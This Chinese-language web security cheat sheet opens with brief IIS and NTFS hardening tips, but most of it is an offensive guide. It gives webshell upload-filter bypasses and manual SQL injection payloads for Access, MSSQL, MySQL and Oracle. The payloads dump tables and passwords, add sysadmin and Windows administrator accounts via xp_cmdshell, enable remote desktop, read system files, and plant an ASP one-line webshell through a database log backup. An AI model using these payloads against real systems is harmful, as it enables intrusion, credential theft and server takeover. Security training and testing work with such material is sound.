Web加固

IIS加固

  • 日志:更改默认日志的路径.记录:cookies 协议版本
  • 权限:只读,脚本资源访问
    主目录
  • 删除所有不需要的脚本扩展名:主目录:asp
  • 向客户端发送以下消息:处理URL出错:
    主目录–配置–调试
  • 限定访问后台的IP:目录安全性
  • 删除所有自定义错误:防止被挂马

防止数据下载

  • 修改数据库名,和默认路径
  • 数据库重定向到主页
  • 防暴库:conn.asp:on error resume next

NTFS:小到大

  • 删除所有权限。
  • 给administrator完全控制权限
  • 给IIS_WPG 完全控制
  • 给IUSR_HOSTNAME 只读

终级防网马:webshell

能写不能执行,能执行不能写入

  • 哪些目录需要写入权限:data uploadfile uploadface
    databackup—>iusr_heixia
  • 在IIS中给以下目录拒绝执行权限

常用攻击方法

爆库

#:%23
%:%25
空格:%20
www.xx.com/bbs/a.asp?id=1

id=a
id=999999
第二个/替换为%5c
id[]=1
apsx:~a.asp
jsp:%81,原代码,
.JSP
.js%2527
www.xx.com/abc.asp加不存在页面

数据库密码技巧
Log日志文件 登录日志

上传webshell

  • 无任何限制:
      直接上传

  • 限制后缀:黑名单 asp,asax
      突破:a.cer,a.cdx

  • 后缀替换为空:
    a.aaspsp
     a.asaspp

  • mine.types:
     a.php.rar.rar.rar

  • a.asp. a#2easp

  • windows2003解析漏洞:
    建立文件夹:a.asp
    里面放任何文件都会解析为.asp

  • 文件改名为:a.asp;.jpg

    8.本地验证:
    前台上传webshell 记录webshell路径
    后台数据库备份修改后缀

手工注入Access

注入成因

程序对用户输入的字符没有进行过滤

后台登录

万能密码(参数查询不适用):

1
'or'='or'

原因分析

1
2
3
4
5
6
7
8
登录语句:
select * from admin where username ='$username' and password='$password'

插入 'or'='or',语句变为:
select * from admin where username =''or'='or'' and password='$password'

or 前面的单引号用于闭合原语句的单引号,此时username等于空,此时'='判断为true,
再与username或判断为true,第二个or后的单引号用于闭合。

判断注入点

1
2
3
www.xx.com/a.asp?id=1
and 1=1 返回正常
and 1=2 返回错误

判断数据库类型

1
2
and (select count(*) from 数据库独有表名)>0
count:统计数据库表个数

附加:

数据库 数据库独有表名
access mssysobjects
mssql sysbojects
mysql infomation_schema.tables
oracle sys.user_tables

判断表名

1
2
3
4
and (select count(*) from admin) >0

返回正常 说明admin表存在
返回错误 说明admin表不存在

判断列名

1
2
3
4
5
and (select count(admin_user) from admin) >0

将*换成你需要猜的列名即可
返回正常 说明admin表存在列admin_user
返回错误 说明admin表不存在列admin_user

判断字段长度

判断长度函数:len(admin_user)

1
2
3
4
and (select len(admin_user) from admin)>4   返回正常
and (select len(admin_user) from admin)<5 返回错误

说明当前密码长度为5

判断值

1
2
3
4
left(admin_user,1)='a'  判断左边起一个字符是否为a

and (select left(admin_user,1) from admin)='a'
and (select left(admin_user,2) from admin)='ad' 左边起前两个是否为ad

手工注入MSSQL

判断注入点

1
2
3
and 1=1;    返回正常
and 1=2; 返回错误
and @@version>0 判断版本

查看当前连接数据库的用户名

1
2
3
4
and user>0
返回:
dbo=sa mssql管理员
端口 1433

查看当前连接数据库

1
and db_name()>0

查看其他数据库

1
2
3
4
5
6
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)<>0

说明:
sysdatabases里面存储的是一些系统信息,包括所有数据库的名字。
Dbid就是数据库的id,dbid的值从1到5被系统占用,所以其他数据库是从6开始的
将name与1比较,类型转换错误也就爆出了数据库的名字。将dbid的值从6开始试下去,就得到了所有的库名

判断表名

1
2
3
4
5
6
and (select top 1 name from sysbojects where xtype='u' and status>0)>0

说明:
sysbojects是SQLServer的系统表,存储着所有的表名、视图、约束及其他对象,
其中"xtype='u' and status>0"表示用户建立的表名
上面的语句将第一个表名取出,与0比较大小,让错误信息把表名报出来

判断其他表

1
and (select top 1 name from sysbojects where xtype='u' and status>0 and name not in ('已猜出表'))>0

判断列名

1
2
3
4
5
6
and (Select Top 1 col_name(object_id('admin'),1) from sysobjects)>0

说明:
第一字段为"ID",用object_id(表名)能获取表名对应的内部ID。
col_name(表名ID,1)代表该表的第1个字段名,将1换乘2,3,4...
就可以逐个获取所猜解表里面的所有字段名

判断值

1
2
and (select username from admin)>0
and (select password from admin)>0

更改密码

1
2
;update 库名.abo.admin表 set password='a123456' where username='admin';--
--: 注释符

mssql注入高级操作

建立数据库用户

1
;exec master..sp_addlogin user,pass;--

数据库提权

1
;exec master..sp_addsrvrolemember user,sysadmin;--

打开3389

1
reg add "hklm\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d "0" /f

建立系统用户

1
2
;exec master..xp_cmdshell "net user username password /add"--
;exec master..xp_cmdshell "net localgroup administrators username /add"--

读系统写文件

1
2
3
4
1.利用查询分析器连接数据库
2.create table vvboot (line varchar(8000)) 创建表
3.bulk insert vvboot from 'c:\boot.ini' 导入c:\boot.ini内容进tables
4.select * from vvboot 读取tables内容
1
;exec master..xp_cmdshell 'echo aaa>>c:u.txt'--  写入aa到c:u.txt >>追加

备份拿一句话木马

1
2
3
4
<%execute request("value")%>
<%eval request("1")%>
URL编码:%3C%25execute+request%28%22value%22%29%25%3E
十六进制:0x3C25657865637574652072657175657374282276616C75652229253E
1
2
3
4
5
;alter database article set RECOVERY FULL--   把恢复改为完全模式
;create table  alog (a image)-- 建立一个表
;backup alog article to disk='c:\cmd' with init-- 减少备份大小
;insert into alog (a) values('<%execute request("value")%>')-- 插入一句话木马
;backup log article to disk='C:\darticle3.4\darticle3.4\a.asp'-- 备份日志

注入防范

安全编码,参数化查询
WAF
防注入的脚本:
过滤关键字:and select update or union post get cookie
在有漏洞脚本调用防注入的脚本:

<!--#Include File="防注入脚本.asp"-->

手工注入MySQL

数据库的管理工具

phpmyadmin
    默认user:root
    默认pass:php168.com

php.ini

magic_quotes_gpc=on

对于GET/POST/Cookie提交的数据中的单引号、双引号、反斜线和空字节进行转义
也就是在这个字符前面加上反斜线,提交的“’”会变成“\”

1
2
3
'=%2527  绕过限制
char(90)
left(boardname,2)=char(97,104)

uion联合查询

1
select table1,table2 from db1

条件:

  • 前后表的列数要相同
    判断前表查询列数
    union select 1 返回正常 表明前表为一列
    union select 1,2,3,4,5 返回正常 表明前表为五列
    union select null,null,null,null,null 
    
    oracle:
    union select null,null,null,null,null from dual (oracle默认表名)
    
  • 前后表对应列的数据类型要兼容
    判断前表哪列是字符
    union select '1',2,3,4,5   返回正常 说明第一列为字符
    
  • 如果前表出错,将返回后表的结果
    id=-1 union select user()
    id=-1 union select database()
    

### 判断注入点

1
2
and 1=1 返回正常
and 1=2 返回错误

判断用户名

1
2
3
4
id=-1 union select user()   联合查询
union select current_user() 当前用户
union select system_user() 系统用户
id=-1 union select session_user() 连接数据库的用户

判断版本号

1
id=-1 union select version()

判断当前连接数据库

1
id=-1 union select database()

判断表名

1
id=-1 union select table from ddbname

判断值

1
id=-1 union select username from dbname

读文件(load_file())

1
2
id=-1 union select load_file('c:\boot.ini')
将文件名 c:\boot.ini 转换为十六进制 绕过“\”转义

手工注入Oracle

猜字段数

1
2
3
id=-1union select null , null from dual
id=-1union select null, null , null from dual
id=-1 union select null,null,null,null,null,null,null,null,null,null,null,null,null from dual

猜哪个字段为字符串

猜哪个字段是字符串型

1
id=-1 union select '1',null,null,null,null,null,null,null,null,null,null,null,null from dual   第九个

猜用户

1
2
id=-1 union select null,null,null,null,null,null,null,null,user,null,null,null,null from user_tables  
将用户代入字符串字段

查看版本信息

1
2
id=-1 union select null,null,null,null,null,null,null,null,banner,null,null,null,null from v$version  
将banner代入字符串字段

看库名

1
2
id=-1 union select null,null,null,null,null,null,null,null,name,null,null,null,null from v$database    
将库名代入字符串字段

看表数

1
2
id=-1 union select null,null,null,null,null,null,null,null,count(*)||'',null,null,null,null from user_tables  
将count(*)||'' 函数 代入字符串字段

看第一个表名

1
id=-1 union select null,null,null,null,null,null,null,null,table_name,null,null,null,null from (select rownum aa,table_name from user_tables) where aa=1

查看表的记录数

1
id=-1 union select null,null,null,null,null,null,null,null,count(*)||'',null,null,null,null from USERINFO

查看第一条记录

1
id=-1 union select null,null,null,null,null,null,null,null,USER_ACCOUNT,null,null,null,null from(select rownum aa,USER_ACCOUNT from USERINFO)where aa=1

查看密码

1
id=-1 union select null,null,null,null,null,null,null,null,PASSWORD,null,null,null,null from(select rownum aa,PASSWORD from USERINFO)where aa=1